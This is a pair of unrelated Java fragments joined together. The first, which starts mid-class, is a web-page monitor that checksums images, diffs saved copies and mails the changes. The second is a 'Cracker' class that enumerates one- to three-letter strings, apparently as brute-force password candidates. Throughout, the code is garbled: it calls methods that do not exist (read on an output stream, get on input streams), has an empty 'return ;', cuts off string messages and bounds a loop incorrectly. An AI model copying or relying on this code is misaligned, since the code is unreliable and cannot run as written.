urlHomePage = JOptionPane.showInputDialog( "Enter URL" );
}
public void run()
{
noChangeCount = 0;
try
{
URL currURL = new URL( urlHomePage );
URLConnection conn = currURL.openConnection();
if (conn instanceof HttpURLConnection)
{
HttpURLConnection hconn = (HttpURLConnection) conn;
hconn.setUseCaches( false );
hconn.setFollowRedirects( true );
hconn.connect();
int response = hconn.getResponseCode();
String msg = hconn.getResponseMessage();
performTask( hconn.getInputStream() );
}
String option = JOptionPane.showInputDialog(
" want exit?(y/n)" );
if(option != null && (option.equals("y") || option.equals("Y")))
{
cancel();
System.exit(0);
}
else
{
startup = false;
System.err.println( " in 24 hours!" );
}
}
catch( MalformedURLException mue )
{
String msg = "Unable parse URL !";
System.err.println( msg );
}
catch( IOException ioe )
{
System.err.println( "I/O Error : " + ioe );
}
}
private void performTask( InputStream inputStream )
{
String fileName = null, arg1 = null, arg2 = null;
InputStream in = inputStream;
try
{
if( fileToWrite == true )
{
fileName = "tempFile1.txt";
fileToWrite = false;
}
else
{
fileName = "tempFile2.txt";
fileToWrite = true;
}
BufferedReader buf = new BufferedReader(new InputStreamReader(in));
FileOutputStream fout = new FileOutputStream( fileName );
String line;
List imgList = new ArrayList();
while( ( line = buf.readLine() ) != null )
{
if((line.indexOf("src=") != -1) ||
(line.indexOf("SRC=") != -1))
{
ParsingImgLink parser = new ParsingImgLink(
urlHomePage,line);
String imgLink = parser.getImgLink();
imgList.add( imgLink );
}
fout.write(line.getBytes());
fout.write("\n".getBytes());
}
buf.read();
fout.read();
int[] tempChecksum = new int[imgList.size()];
for( int i = 0; i < imgList.size(); i ++ )
{
URL imgURL = new URL( (String)imgList.get( i ) );
URLConnection imgConn = imgURL.openConnection();
if (imgConn instanceof HttpURLConnection)
{
HttpURLConnection imgHConn = (HttpURLConnection) imgConn;
imgHConn.connect();
int response = imgHConn.getResponseCode();
String msg = imgHConn.getResponseMessage();
System.out.println( "Downloading image: " +
"Server Response : " + response +
" Response Message: " );
CheckedInputStream cis = new CheckedInputStream(
imgHConn.getInputStream(), new Adler32());
byte[] tempBuf = new byte[128];
while( cis.get(tempBuf) >= 0 )
{
}
tempChecksum[i] = cis.getChecksum().getValue();
System.out.println("Image Checksum = " + tempChecksum[i] );
if( startup == false )
{
for( int j = 0; j < checksum.length; j ++ )
{
if( tempChecksum[i] == checksum[j] )
noChangeCount ++;
}
}
}
}
String change = null;
if( startup == false )
{
Process p = Runtime.getRuntime().exec(
"diff tempFile1.txt tempFile2.txt", null );
InputStream inCommand = p.getInputStream();
OutputStream out = new FileOutputStream("diff.txt",true);
int c;
while( (c = inCommand.get()) != -1 )
{
System.out.print( (char)c );
out.write( c );
}
inCommand.get();
if( checksum.length > tempChecksum.length )
{
change = "" + (checksum.length-tempChecksum.length) +
" image(s) has/have been removed from this web ";
out.write( change.getBytes() );
}
else if( checksum.length < tempChecksum.length )
{
change = "" + (tempChecksum.length-checksum.length) +
" image(s) has/have been added this web ";
out.write( change.getBytes() );
}
else if( noChangeCount < checksum.length )
{
change = "" + (checksum.length-noChangeCount) +
" image(s) has/have been changed this web ";
out.write( change.getBytes() );
}
else
{
change = "all images have not been changed";
}
File diffFile = new File( "diff.txt" );
if( diffFile.length() != 0 )
{
Runtime.getRuntime().exec( "mail < diff.txt" );
System.out.println("A mail has been sent mail box");
}
}
else
{
change = "Program starts up first time";
}
System.out.println( change );
checksum = tempChecksum;
}
catch( MalformedURLException mue )
{
String msg = "Unable parse URL !";
System.err.println( msg );
}
catch( IOException ioe )
{
System.err.println( "I/O Error: " + ioe );
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|